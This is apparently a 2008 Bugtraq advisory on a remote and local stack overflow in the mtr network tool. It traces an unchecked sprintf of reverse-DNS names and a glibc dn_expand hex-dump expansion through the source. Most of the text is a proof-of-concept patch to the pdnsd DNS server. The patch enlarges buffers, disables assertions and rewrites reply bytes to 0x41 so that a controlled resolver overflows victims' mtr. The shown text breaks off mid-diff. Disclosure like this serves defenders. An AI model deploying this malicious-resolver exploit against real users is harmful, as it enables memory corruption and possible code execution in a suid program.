

Mtr – remote and local stack overflow – uncommment situation in libresolv.

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-05/msg00204.html>

- *From:* pi3@xxxxxxxx
 - *Date:* 19 May 2008 20:37:39 -0000
-

Name: Mtr – network diagnostic tool.

Author: Adam Zabrocki <pi3@xxxxxxxx> or <pi3ki31ny@xxxxxxxx>

Date: February 28, 2008

Issue:

Mtr allows local and remote attackers to overflow buffer on stack.

Description:

Mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool. For more detail please read manual page.

Details:

It is possible to overflow buffer on stack in suid program – mtr. Remote attack is possible too. Bug is in function which print result of running program with parameter 'split' (-p). Victim must use DNS which we can control or we can try exploit this vulnerability by spoofing technique. In remote exploiting this vulnerability we must know which IP user gave to program – or he must simply run program and argument must be IP address which we can control in DNS server.

Look for this code:

```
"split.c"  
#define MAX_LINE_SIZE 256  
  
void split_redraw(void)  
{  
    int max;  
    int at;  
    ip_t *addr;  
    char *name;  
    char newLine[MAX_LINE_SIZE];
```

```
int i;

...

for(at = 0; at < max; at++) {
addr = net_addr(at);

if( addrcmp( (void *) addr, (void *) &unspec_addr, af ) != 0 ) {
name = dns_lookup(addr); [1]
if(name != NULL) {
/* May be we should test name's length */ [!!]
sprintf(newLine, "%s %d %d %d %d %d %d", name, [2]
net_loss(at),
net_returned(at), net_xmit(at),
net_best(at)/1000, net_avg(at)/1000,
net_worst(at)/1000);
} else {
...
sprintf(newLine, "???");
}

...
}
}
```

As we can see in [2] there is unsecure call for function sprintf(). Argument 'name' is RevDNS for IP address. In details exploiting this situation will be later because normal we can't do that!

Now let's look what call this function:

```
"display.c"
void display_redraw(void)
{
switch(DisplayMode) {

...
case DisplaySplit: /* BL */
split_redraw();
break;
...
}
}
```

Call for function display_redraw() is here:

```
"select.c"
void select_loop(void) {

...
}
```

```
while(1) {  
  
...  
...  
  
do {  
if(anynet || paused) {  
...  
} else {  
if(Interactive) display_redraw();  
  
...  
...  
}  
} while ((rv < 0) && (errno == EINTR));  
  
...  
...  
  
}  
return;  
}
```

And call for this function is here:

```
"display.c"  
void display_loop(void)  
{  
switch(DisplayMode) {  
case DisplayReport:  
case DisplayTXT:  
case DisplayXML:  
case DisplayCSV:  
case DisplaySplit: /* BL */  
case DisplayCurses:  
case DisplayRaw:  
select_loop();  
break;  
case DisplayGTK:  
gtk_loop();  
break;  
}  
}
```

Call for function display_loop() is in main function:

```
"mtr.c"  
int main(int argc, char **argv)  
{  
...  
}
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
...  
  
display_loop();  
  
...  
  
return 0;  
}  
  
Value for variable 'Interactive' is here:  
  
"mtr.c"  
int Interactive = 1;  
  
void parse_arg (int argc, char **argv)  
{  
...  
...  
  
while(1) {  
/* added f:m:o: byMin */  
opt = getopt_long(argc, argv,  
"vhrxtglpo:i:c:s:b:Q:na:f:m:46", long_options, NULL);  
if(opt == -1)  
break;  
  
switch(opt) {  
  
...  
  
case 'p': /* BL */  
DisplayMode = DisplaySplit;  
break;  
  
...  
  
}  
  
if (DisplayMode == DisplayReport ||  
DisplayMode == DisplayTXT ||  
DisplayMode == DisplayXML ||  
DisplayMode == DisplayRaw ||  
DisplayMode == DisplayCSV)  
Interactive = 0;  
  
...  
}
```

So we must run program with option '-p' to be in function split_redraw().

Ok it is the first topic of this advisory. Let's look how to exploit it.

Mtr – remote and local stack overflow – uncomment situation in libresolv.

In place [1] we can see this line:

```
name = dns_lookup(addr); [1]
```

so we must look how we can control the value of this variable. Look here:

```
"dns.c"
char *dns_lookup(ip_t * ip)
{
char *t;

if (!dns) return strlongip (ip);
t = dns_lookup2 (ip);
return (t&&use_dns)?t:strlongip(ip);
}
```

and function dns_lookup2() is here:

```
"dns.c"
char *dns_lookup2(ip_t * ip)
{
struct resolve *rp;

if ((rp = findip(ip))) {
...
<try to find this IP in local cache which mtr create>
...
}
rp = allocresolve();
rp->state = STATE_PTRREQ1;
rp->expiretime = sweeptime + ResRetryDelay1;
addrcpy( (void *) &(rp->ip), (void *) ip, af );
linkresolve(rp);
addrcpy( (void *) &(rp->ip), (void *) ip, af );
linkresolveip(rp);
sendrequest(rp,T_PTR);
return NULL;
}
```

function linkresolve/linkresolveip initialize data for new data (address/domain) and once again try to find this in cache. So let's look for function sendrequest():

```
"dns.c"
void sendrequest(struct resolve *rp,int type)
{
do {
idseed = (((idseed + idseed) | (long)time(NULL)) + idseed - 0x54bad4a) ^ aseed;
aseed ^= idseed;
rp->id = (word)idseed;
} while (findid(rp->id));
linkresolveid(rp);
resendrequest(rp,type);
}
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
}
```

linkresolveid() try to find this id in cache :) So look for resendrequest():

```
"dns.c"
void resendrequest(struct resolve *rp,int type)
{
if (type == T_A) {
...
...
} else if (type == T_PTR) {
switch ( af ) {
case AF_INET:
sprintf(tempstring,"%u.%u.%u.%u.in-addr.arpa",
((byte *)&rp->ip)[3],
((byte *)&rp->ip)[2],
((byte *)&rp->ip)[1],
((byte *)&rp->ip)[0]);
break;
#ifdef ENABLE_IPV6
case AF_INET6:
addr2ip6arpa( &(rp->ip), tempstring );
break;
#endif
}
dorequest(tempstring,type,rp->id);
...
...
}
}
```

and function dorequest() make and send quere PTR for DNS server:

```
"dns.c"
void dorequest(char *s,int type,word id)
{
packetheader *hp;
int r,i;
int buf[(MaxPacketsize/sizeof (int))+1];

r = res_mkquery(QUERY,s,C_IN,type,NULL,0,NULL,(unsigned char*)buf,MaxPacketsize);
if (r == -1) {
restell("Resolver error: Query too large.");
return;
}
hp = (packetheader *)buf;
hp->id = id; /* htons() deliberately left out (redundant) */
for (i = 0;i < _res.nscount;i++)
(void)sendto(resfd,buf,r,0,(struct sockaddr *)&_res.nsaddr_list[i],
sizeof(struct sockaddr));
}
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

... and reply from server is examined in select_loop() function:

```
"select.c"
void select_loop(void) {
...
...

while(1) {

...

if (dns) {
/* Handle any pending resolver events */
dnsinterval = WaitTime;
dns_events(&dnsinterval);
}

/* Have we finished a nameservice lookup? */
if(dns && FD_ISSET(dnsfd, &readfd)) {
dns_ack();
anyset = 1;
}

...

}
...
}
```

and function dns_ack() is here:

```
"dns.c"
void dns_ack(void)
{
int r,i;

r = recvfrom(resfd,(byte *)resrecvbuf,MaxPacketSize,0,
from, &fromlen);
if (r > 0) {
...
<some tests>
...
if (i == _res.nscount) {
...
} else
parserespacket((byte *)resrecvbuf,r);
} else {
...
}
}
```

So we must look for function parserespacket(). It's really big and advanced function so i paste only what we must see. Look:

```
"dns.c"
void parserespacket(byte *s, int l)
{
  ...
  packetheader *hp;
  ...

  ...
  hp = (packetheader *)s;
  ...
  <many tests for packet/header>
  ...
  ...
  eob = s + l;
  c = s + HFIXEDSZ;
  switch (getheader_rcode(hp)) {
  case NOERROR:
  if (hp->ancount) {
  ...
  <many fine test etc>
  ...
  switch (qdatatype) {
  case T_PTR:
  if (!Is_PTR(rp))
  if (debug) {
  restell("Resolver warning: Ignoring response with unexpected query type \"PTR\");
  return;
  }
  break;
  default:
  sprintf(tempstring,"Resolver error: Received unimplemented query type: %u (%s)",
  qdatatype,qdatatype < ResourceTypeCount ?
  resourcetypes[qdatatype] : resourcetypes[ResourceTypeCount]);
  restell(tempstring);
  }
  for (rr = hp->ancount + hp->nscount + hp->arcount;rr;rr--) {
  ...
  <other test and code>
  ...
  datatype = sucknetwork(c);
  ...
  if (datatype == qdatatype || datatype == T_CNAME) {
  ...
  }
  if (usefulanswer)
  switch (datatype) {
  ...

```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
...
case T_PTR:
case T_CNAME:
*namestring = '\0';
r = dn_expand(s,s + l,c,namestring,MAXDNAME); [3]
...
...
}
...
}
...
}
...
}
...
}
...
}
...
}
```

As we can see in [3] to decode packet is using function `dn_expand()`. This function return strange value for some 'special bad' packets! Is it bug? – for me yes because in manual and other docs i don't find information about it – i saw that in glibc code – ok nvm. This function return decoded string in this situation in buffer 'namestring' and length for this bufor is MAXDNAME. Bufor 'namestring' is declared here:

```
"dns.c"
char namestring[1024+1];
```

and value for MAXDNAME we can find here:

```
"/usr/include/arpa/nameser.h"
#define NS_MAXDNAME 1025 /* maximum domain name */
```

So... in fact vulnerability function will try to copy by function `sprintf` string for bufor wich have length 256 bytes. Max domain length is 1025 but all tests in program 'mtr' which i don't paste (if you want just look for source code) don't allow domain which is longer than 256 bytes (but function `dns_ack()` call function `recvfrom()` which have argument to read 512 data bytes). In fact there is bug too because after domain name program paste some data about time, date and etc. but in fact it don't overflow metadata and variables which we overflow aren't used anymore so this bug is not interesting.

Now we must use 'bug' in libresolve library in function `dn_expand()`. Let's look for source – glibc source and i paste from version 2.3.6, this is probably in all versions of glibc:

```
"resolv/res_comp.c"
int
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
dn_expand(const u_char *msg, const u_char *eom, const u_char *src,
char *dst, int dstsiz)
{
int n = ns_name_uncompress(msg, eom, src, dst, (size_t)dstsiz);

if (n > 0 && dst[0] == '.')
dst[0] = '\0';
return (n);
}
libresolv_hidden_def (dn_expand)
```

so no look for function ns_name_uncompress():

```
"resolv/ns_name.c"
int
ns_name_uncompress(const u_char *msg, const u_char *eom, const u_char *src,
char *dst, size_t dstsiz)
{
u_char tmp[NS_MAXCDNAME];
int n;

if ((n = ns_name_unpack(msg, eom, src, tmp, sizeof tmp)) == -1)
return (-1);
if (ns_name_ntop(tmp, dst, dstsiz) == -1)
return (-1);
return (n);
}
```

For saw bug we must look for function ns_name_ntop() if you want know what do function ns_name_unpack() look for source. Ok soo let's look for ns_name_ntop:

```
"resolv/ns_name.c"
int
ns_name_ntop(const u_char *src, char *dst, size_t dstsiz) {
const u_char *cp;
char *dn, *eom;
u_char c;
u_int n;

cp = src;
dn = dst;
eom = dst + dstsiz;

while ((n = *cp++) != 0) {

...

...

if (n == 0x41) {
n = *cp++ / 8;
if (dn + n * 2 + 4 >= eom) {
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
__set_errno (EMSGSIZE);
return (-1);
}
*dn++ = '\\';
*dn++ = '[';
*dn++ = 'x';

while (n-- > 0) {
c = *cp++;
unsigned u = c >> 4;
*dn++ = u > 9 ? 'a' + u - 10 : '0' + u;
u = c & 0xf;
*dn++ = u > 9 ? 'a' + u - 10 : '0' + u;
}

*dn++ = ']';
continue;
}

...
...
}
*dn++ = '\0';
return (dn - dst);
}
libresolv_hidden_def (ns_name_ntop)
```

As you can see if `n == 0x41` it dump domain (in hex bytes)! What's is wrong? For example if domain will have value "aaa.pl" it's 6 bytes. Function will return dump for this domain and it will have $\sim(4*6)$ bytes. So for normal domain which for example we can set name max in 256 bytes function can return dump for this domain in $\sim(256*4)$ bytes. In fact in 'mtr' program we can bypass all tests and make domain which have length ~ 190 bytes and overflow bufor. It's not only stupid theory i made PoC code and use this 'bugs' to overflow bufor. So let's look for exploit...

Exploit:

I wrote patch for DNS server to exploit bug in 'mtr', which use 'bug' in libresolve. We must compile and run DNS server with config file which i enclose here. Diff for DNS server i enclose too. Server try too bind on interface which have IP address 192.168.1.200, evil domain is for IP 12.34.56.78, and main DNS server is set that have IP address 192.168.1.1 (remember to change registry in /etc/resolv.conf for nameserver!).

Patch for pdnsd DNS server in version 1.2.6 (it have some bugs but to exploit this bug you don't need to long live server :)):

```
--- CUT ---
diff -ur ./pdnsd-1.2.6/pdnsd.spec ./smalldns/pdnsd-1.2.6/pdnsd.spec
--- ./pdnsd-1.2.6/pdnsd.spec 2007-09-04 15:28:08.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/pdnsd.spec 2008-03-11 14:38:21.000000000 +0100
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
@@ -27,22 +27,10 @@
# ---define "cachedir <dir>" Configure with ---with-cachedir=<dir>.
#

-%if 0%{!?distro:1}
-%if "%{_vendor}" == "redhat"
-%define distro RedHat
-%else
-%if "%{_vendor}" == "suse"
-%define distro SuSE
-%else
-%if "%{_vendor}" == "SuSE"
-%define distro SuSE
-%endif
-%endif
-%endif
-%endif
+%{!?distro: %define distro Generic}

# The default run_as ID to use
-%{!?run_as_user: %define run_as_user pdnsd}
+%{!?run_as_user: %define run_as_user nobody}
# By default, if a new run_as_user is to be created, we let
# useradd choose the numerical uid, unless run_as_uid is defined.
#define run_as_uid 96
diff -ur ./pdnsd-1.2.6/src/cache.c ./smalldns/pdnsd-1.2.6/src/cache.c
---- ./pdnsd-1.2.6/src/cache.c 2007-08-05 12:42:22.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/cache.c 2008-03-11 15:44:45.000000000 +0100
@@ -1151,7 +1151,7 @@

for(;cnt>0;--cnt) {
dns_file_t fe;
- unsigned char nb[256];
+ unsigned char nb[2560];
unsigned num_rrs;
unsigned char prevtp;
if (fread(&fe,sizeof(fe),1,f)!=1) {
@@ -1397,7 +1397,7 @@
}
}
if(num_rrs!=le->num_rrs && ++num_rrs_errs<=MAX_NUM_RRS_ERRS) {
- unsigned char buf[256];
+ unsigned char buf[2560];
log_warn("Counted %d rr record types for %s but cached counter=%d",
num_rrs,rhn2str(le->qname,buf,sizeof(buf)),le->num_rrs);
}
@@ -1662,7 +1662,7 @@
rr_bucket_t *rr;
for(rr=rrset->rrs; rr; rr=rr->next) {
dns_cent_t ce;
- unsigned char buf[256],rhn[256];
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
+ unsigned char buf[2560],rhn[2560];
if(!a2ptrstr((pdnsd_ca *) (rr->data),tp,buf) || !str2rhn(buf,rhn))
return 0;
if(!init_cent(&ce, rhn, cent->ttl, cent->ts, cent->flags DBG0))
@@ -1834,7 +1834,7 @@
/* use this entry */
*wild=w_neg;
else if(ret->flags&DF_WILD) {
- unsigned char buf[256];
+ unsigned char buf[2560];
buf[0]=1; buf[1]='*';
/* When we get here, at least element of name
has been removed, so assuming name is not longer
@@ -1877,7 +1877,7 @@
/* use this entry */
*wild=w_neg;
else if(ret->flags&DF_WILD) {
- unsigned char buf[256];
+ unsigned char buf[2560];
buf[0]=1; buf[1]='*';
rhncpy(&buf[2],nm);
ret=dns_lookup(buf,NULL);
diff -ur ./pdnsd-1.2.6/src/conf.c ./smalldns/pdnsd-1.2.6/src/conf.c
--- ./pdnsd-1.2.6/src/conf.c 2007-07-10 22:27:55.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/conf.c 2008-03-11 15:33:08.000000000 +0100
@@ -427,7 +427,7 @@
else {
int rv;
for(i=0;i<DA_NEL(global.deleg_only_zones);++i) {
- unsigned char buf[256];
+ unsigned char buf[2560];
rv=fsprintf(f,i==0?"%s":", %s",
rhn2str(DA_INDEX(global.deleg_only_zones,i),buf,sizeof(buf)));
if(rv<0) {retval=rv; goto unlock_return;}
@@ -501,7 +501,7 @@
fsprintf_or_return(f,"\tPolicies:%s\n", st->alist?"" : (none));
for (j=0;j<DA_NEL(st->alist);++j) {
slist_t *sl=&DA_INDEX(st->alist,j);
- unsigned char buf[256];
+ unsigned char buf[2560];
fsprintf_or_return(f,"\t\t%s: %s%s\n",
sl->rule==C_INCLUDED?"include":"exclude",
sl->exact?"" : ".");
diff -ur ./pdnsd-1.2.6/src/conf-parser.c ./smalldns/pdnsd-1.2.6/src/conf-parser.c
--- ./pdnsd-1.2.6/src/conf-parser.c 2007-09-02 16:19:38.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/conf-parser.c 2008-03-11 16:44:39.000000000 +0100
@@ -386,7 +386,7 @@
*/
#define DOM_NAME_CPY(dst,src,len) \
{ \
- unsigned char _buf[256]; \
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
+ unsigned char _buf[2560]; \
PARSESTR2RHN(src,len,_buf); \
memcpy(dst,src,len); \
(dst)[len]=0; \
@@ -414,7 +414,7 @@
int confparse(FILE* in, globparm_t *global, servparm_array *servers, char **errstr)
{
char *linebuf,*p,*ps,*getnextperr=NULL;
- size_t buflen=256,len;
+ size_t buflen=2560,len;
int retval=0,sechdr,option;
# define CLEANUP_HANDLER
# define SKIP_BLANKS(cur) {if(!((cur)=getnextp(&linebuf,&buflen,in,cur,&getnextperr)))
{CLEANUP_HANDLER; goto unexpected_eof;}}
@@ -1062,15 +1062,15 @@
if(*p!='=') CLEANUP_GOTO(expected_equals);
++p;
SKIP_BLANKS(p);
-
switch(option) {
int tp;
case NAME: {
- unsigned char c_name[256];
+ unsigned char c_name[2560];
if (c_cent.qname) {
*errstr=report_error("You may specify only one name in a rr section.");
PARSEERROR;
}
+ printf("[*] len = %u\n",len);
SCAN_STRING(ps,p,len);
PARSESTR2RHN(ucharp ps,len,c_name);
if (!init_cent(&c_cent, c_name, 0, 0, c_flags DBG0))
@@ -1138,7 +1138,7 @@
tp=T_PTR;
scan_name:
{
- unsigned char c_name[256];
+ unsigned char c_name[2560];

if (!c_cent.qname)
goto no_name_spec;
@@ -1172,7 +1172,7 @@
int blen,rlen;
unsigned char *bp;
uint32_t val;
- unsigned char buf[2*256+20];
+ unsigned char buf[2*2560+20];

if (!c_cent.qname)
goto no_name_spec;
@@ -1224,7 +1224,7 @@
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
if(c_cent.qname[0]==1 && c_cent.qname[1]=='*') {
/* Wild card record. Set the DF_WILD flag for the name with '*' removed. */
if(!set_cent_flags(&c_cent.qname[2],DF_WILD)) {
– unsigned char buf[256];
+ unsigned char buf[2560];
rhn2str(c_cent.qname,buf,sizeof(buf));
*errstr=report_errorf("You must define some records for '%s'"
" before you can define records for the wildcard name '%s'",
@@ -1252,7 +1252,7 @@
}

case SOURCE: {
– unsigned char c_owner[256];
+ unsigned char c_owner[2560];
time_t c_ttl;
unsigned c_flags;
unsigned char c_aliases;
@@ -1327,7 +1327,7 @@
break;

case NEG: {
– unsigned char c_name[256];
+ unsigned char c_name[2560];
time_t c_ttl;
unsigned char htp,hftp;

@@ -1473,7 +1473,7 @@
PARSEERROR;

expected_semicolon:
– *errstr=report_error("too many arguments to option or missing semicolon");
+// *errstr=report_error("too many arguments to option or missing semicolon");
PARSEERROR;

no_name_spec:
@@ -1691,7 +1691,7 @@
int rv=0;
FILE *f;
char *buf;
– size_t buflen=256;
+ size_t buflen=2560;
unsigned liner=0;

if (!(f=fopen(fn,"r"))) {
@@ -1751,7 +1751,7 @@
int exact=1;
const char *err;
size_t sz;
– unsigned char rhn[256];
+ unsigned char rhn[2560];
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
if (len>1 && *nm=='.') {
exact=0;
@@ -1779,7 +1779,7 @@
zone_t z;
const char *err;
size_t sz;
- unsigned char rhn[256];
+ unsigned char rhn[2560];

if((err=parsestr2rhn(ucharp zone,len,rhn)))
return err;
Tylko w ./smalldns/pdnsd-1.2.6/src: .deps
diff -ur ./pdnsd-1.2.6/src/dns_answer.c ./smalldns/pdnsd-1.2.6/src/dns_answer.c
--- ./pdnsd-1.2.6/src/dns_answer.c 2007-08-19 16:46:12.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/dns_answer.c 2008-03-13 01:02:55.000000000 +0100
@@ -203,7 +203,7 @@
rr_bucket_t *rr;
if (!rrset || !(rr=rrset->rrs))
return 0;
- PDNSD_ASSERT(rr->rdlen <= 256, "follow_cname_chain: record too long");
+ PDNSD_ASSERT(rr->rdlen <= 2560, "follow_cname_chain: record too long");
memcpy(name,rr->data,rr->rdlen);
return 1;
}
@@ -231,7 +231,7 @@
osz=*sz;
{
int nlen;
- unsigned char nbuf[256];
+ unsigned char nbuf[456];

if (!(nlen=compress_name(rrn,nbuf,*sz,cb)))
return 0;
@@ -263,7 +263,7 @@
case T_PTR:
if (!(rdlen=compress_name(((unsigned char *)data), ((unsigned char *)&(*ans)->hdr))+(*sz),*sz,cb)))
return 0;
- PDNSD_ASSERT(rdlen <= dlen, "T_CNAME/T_MB/...: got longer");
+// PDNSD_ASSERT(rdlen <= dlen, "T_CNAME/T_MB/...: got longer");
*sz+=rdlen;
break;
case T_MINFO:
@@ -735,7 +735,7 @@
/* second, the answer section */
for (qe=dlist_first(q); qe; qe=dlist_next(qe)) {
int hops;
- unsigned char qname[256];
+ unsigned char qname[2560];

rhncpy(qname,qe->query);
/* look if we have a cached copy. otherwise, perform a nameserver query. Same with timeout */
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
@@ -871,6 +871,13 @@
dlist_free(ar);
dlist_free(sva);
dlist_free(cb);
+
+do {
+unsigned char *ptr = qe->query;
+#define sucknetwork(x) ((x)+=2,(((unsigned short) (((x)[-2] << 8) | ((x)[-1] << 0))))
+sucknetwork(ptr);
+#undef sucknetwork
+} while (0);
return ans;
}

@@ -891,7 +898,7 @@
for (i=0;i<qdcount;i++) {
dns_queryel_t *qe;
int qlen;
- unsigned char qbuf[256];
+ unsigned char qbuf[2560];
res=decompress_name(data,rlen,&ptr,&sz,qbuf,&qlen);
if (res==RC_TRUNC) {
if (hdr->tc) {
@@ -1239,6 +1246,18 @@
#ifdef SOCKET_LOCKING
pthread_mutex_lock(&s_lock);
#endif
+ do {
+ char *ptr = v.iov_base;
+ unsigned int i;
+
+ // for (i=0;i<v.iov_len;i++) {
+ // if (!(i%10))
+ // printf("\n");
+ // printf("%x, ",*(ptr+i));
+ // }
+ // printf("\n");
+ *(ptr+54)=0x41;
+ } while(0);
if (sendmsg(((udp_buf_t *)data)->sock,&msg,0)<0) {
#ifdef SOCKET_LOCKING
pthread_mutex_unlock(&s_lock);
diff -ur ./pdnsd-1.2.6/src/dns.c ./smalldns/pdnsd-1.2.6/src/dns.c
--- ./pdnsd-1.2.6/src/dns.c 2007-07-10 22:27:55.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/dns.c 2008-03-11 15:34:01.000000000 +0100
@@ -255,7 +255,8 @@
int rl=0;
unsigned ilen = rhnlen(in);

- PDNSD_ASSERT(ilen<=256, "compress_name: name too long");
+ printf("ilen = %u\n",ilen);
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```

+ PDNSD_ASSERT(ilen<=2560, "compress_name: name too long");

/* part 1: compression */
for (ci=dlist_first(*cb); ci; ci=dlist_next(ci)) {
@@ -274,7 +275,7 @@
}
}
if (longest>0) {
- PDNSD_ASSERT(lrem+2 <= ilen, "compress_name: length increased");
+// PDNSD_ASSERT(lrem+2 <= ilen, "compress_name: length increased");
memcpy(out, in,lrem);
out[lrem]=0xc0|((coffs&0x3f00)>>8);
out[lrem+1]=coffs&0xff;
@@ -305,8 +306,8 @@
{
if(tp==T_A) {
unsigned char *p=(unsigned char *)&a->ipv4.s_addr;
- int n=snprintf(charp buf,256,"%u.%u.%u.%u.in-addr.arpa.",p[3],p[2],p[1],p[0]);
- if(n<0 || n>=256)
+ int n=snprintf(charp buf,2560,"%u.%u.%u.%u.in-addr.arpa.",p[3],p[2],p[1],p[0]);
+ if(n<0 || n>=2560)
return 0;
}
else
@@ -316,12 +317,12 @@
int i,offs=0;
for (i=15;i>=0;--i) {
unsigned char bt=p[i];
- int n=snprintf(charp(buf+offs), 256-offs,"%x.%x.",bt&0xf,(bt>>4)&0xf);
+ int n=snprintf(charp(buf+offs), 2560-offs,"%x.%x.",bt&0xf,(bt>>4)&0xf);
if(n<0) return 0;
offs+=n;
- if(offs>=256) return 0;
+ if(offs>=2560) return 0;
}
- if(!strncp(charp(buf+offs),"ip6.arpa.",256-offs))
+ if(!strncp(charp(buf+offs),"ip6.arpa.",2560-offs))
return 0;
}
else
@@ -348,7 +349,7 @@
add_cache(&ce);
free_cent(&ce DBG0);
if (reverse) {
- unsigned char b2[256],rhn[256];
+ unsigned char b2[2560],rhn[2560];
if(!a2ptrstr(a,tp,b2))
return -1;
if (!str2rhn(b2,rhn))
@@ -379,7 +380,7 @@
int rv=0;

```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
FILE *f;
char *buf;
- size_t buflen=256;
+ size_t buflen=2560;

if (!(f=fopen(fn,"r"))) {
if(asprintf(errstr, "Failed to source %s: %s", fn, strerror(errno))<0) *errstr=NULL;
@@ -393,7 +394,7 @@
while(getline(&buf,&buflen,f)>=0) {
int len;
unsigned char *p,*pn,*pi;
- unsigned char rhn[256];
+ unsigned char rhn[2560];
int tp,sz;
pdnsd_ca a;

diff -ur ./pdnsd-1.2.6/src/dns_query.c ./smalldns/pdnsd-1.2.6/src/dns_query.c
--- ./pdnsd-1.2.6/src/dns_query.c 2007-08-05 12:43:08.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/dns_query.c 2008-03-12 21:24:45.000000000 +0100
@@ -321,7 +321,7 @@
uint16_t type,class; uint32_t ttl; uint16_t rdlength;

for (i=0;i<recnum;i++) {
- unsigned char oname[256];
+ unsigned char oname[2560];
int len;
if ((rc=decompress_name(msg, msgsz, ptr, lcnt, oname, &len))!=RC_OK) {
return rc;
@@ -366,7 +366,7 @@
case T_NS:
case T_PTR:
{
- unsigned char db[256];
+ unsigned char db[2560];
if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, db, &len))!=RC_OK)
return rc==RC_TRUNC?RC_FORMAT:rc;
if (blcnt!=0)
@@ -381,7 +381,7 @@
case T_RP:
#endif
{
- unsigned char db[256+256];
+ unsigned char db[2560+2560];
nptr=db;
if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, nptr, &len))!=RC_OK)
return rc==RC_TRUNC?RC_FORMAT:rc;
@@ -406,7 +406,7 @@
case T_KX:
#endif
{
- unsigned char db[2+256];
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
+ unsigned char db[2+2560];
if (blcnt<2)
goto record_too_short;
memcpy(db,bptr,2); /* copy the preference field*/
@@ -427,7 +427,7 @@

case T_SOA:
{
- unsigned char db[256+256+20];
+ unsigned char db[2560+2560+20];
nptr=db;
if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, nptr, &len))!=RC_OK)
return rc==RC_TRUNC?RC_FORMAT:rc;
@@ -458,7 +458,7 @@

case T_PX:
{
- unsigned char db[2+256+256];
+ unsigned char db[2+2560+2560];
if (blcnt<2)
goto record_too_short;
memcpy(db,bptr,2); /* copy the preference field*/
@@ -484,7 +484,7 @@

case T_SRV:
{
- unsigned char db[6+256];
+ unsigned char db[6+2560];
if (blcnt<6)
goto record_too_short;
memcpy(db,bptr,6);
@@ -522,7 +522,7 @@
case T_NAPTR:
{
int j;
- unsigned char db[4 + 4*256];
+ unsigned char db[4 + 4*2560];
nptr=db;
/*
* After the preference field, three text strings follow, the maximum length being 255
@@ -919,6 +919,7 @@
/* transmit query by udp*/
/* send will hopefully not block on a freshly opened socket (the buffer
* must be empty) */
+
if (send(st->sock,&st->msg->hdr,st->transl,0)==-1) {
st->s_errno=errno;
DEBUG_PDNSDA_MSG("Error while sending data to %s: %s\n",
PDNSDA2STR(PDNSD_A(st)),strerror(errno));
@@ -1152,7 +1153,7 @@
}
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
/* check & skip the query record. */
{
– unsigned char nbuf[256];
+ unsigned char nbuf[2560];
if ((rv=decompress_name((unsigned char *)st->recvbuf, st->recvl, &rrp, &lcnt, nbuf, NULL))!=RC_OK) {
DEBUG_PDNSDA_MSG("Cannot decompress QNAME in answer from %s\n",
PDNSDA2STR(PDNSD_A(st)));
@@ -1347,7 +1348,7 @@
addr4maskpair_t *am = &a4arr[k];
if(ADDR4MASK_EQUIV(a,&am->a,&am->mask)) {
#if DEBUG>0
– unsigned char nmbuf[256]; char abuf[ADDRSTR_MAXLEN];
+ unsigned char nmbuf[2560]; char abuf[ADDRSTR_MAXLEN];
DEBUG_PDNSDA_MSG("Rejecting answer from server %s because it contains an A record"
" for \"%s\" with an address in the reject list: %s\n",
PDNSDA2STR(PDNSD_A(st)),
@@ -1370,7 +1371,7 @@
addr6maskpair_t *am = &a6arr[k];
if(ADDR6MASK_EQUIV(a,&am->a,&am->mask)) {
#if DEBUG>0
– unsigned char nmbuf[256]; char abuf[INET6_ADDRSTRLEN];
+ unsigned char nmbuf[2560]; char abuf[INET6_ADDRSTRLEN];
DEBUG_PDNSDA_MSG("Rejecting answer from server %s because it contains an AAAA record"
" for \"%s\" with an address in the reject list: %s\n",
PDNSDA2STR(PDNSD_A(st)),
@@ -1438,7 +1439,7 @@
}
#if DEBUG>0
{
– unsigned char nmbuf[256],zbuf[256];
+ unsigned char nmbuf[2560],zbuf[2560];
DEBUG_PDNSDA_MSG(authent?"%s is in %s zone, but no delegation found in answer returned by server
%s\n"
:"%s is in %s zone, but no authority information provided by server %s\n",
rhn2str(name,nmbuf,sizeof(nmbuf)), rhn2str(DA_INDEX(global.deleg_only_zones,i),zbuf,sizeof(zbuf)),
@@ -1573,7 +1574,7 @@
add_cache(cent);
else {
#if DEBUG>0
– unsigned char nmbuf[256],nsbuf[256];
+ unsigned char nmbuf[2560],nsbuf[2560];
DEBUG_MSG("Record for %s not in nsdomain %s; dropped.\n",
rhn2str(cent->qname,nmbuf,sizeof(nmbuf)),rhn2str(st->nsdomain,nsbuf,sizeof(nsbuf)));
#endif
@@ -2263,7 +2264,7 @@
*/
#if DEBUG>0
if(debug_p) {
– unsigned char dbuf[256],sdbuf[256];
+ unsigned char dbuf[2560],sdbuf[2560];
nsdomain=dlist_first(ns);
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
DEBUG_PDNSDA_MSG("The name server %s which is responsible for the %s domain, raised the aa flag,
but appears to delegate to the sub-domain %s\n",
PDNSDA2STR(PDNSD_A(qse)),
@@ -2286,7 +2287,7 @@
domain_match(nsdomain,name,&rem,NULL);
if (rem!=0) {
#if DEBUG>0
- unsigned char nmbuf[256],dbuf[256],nsbuf[256];
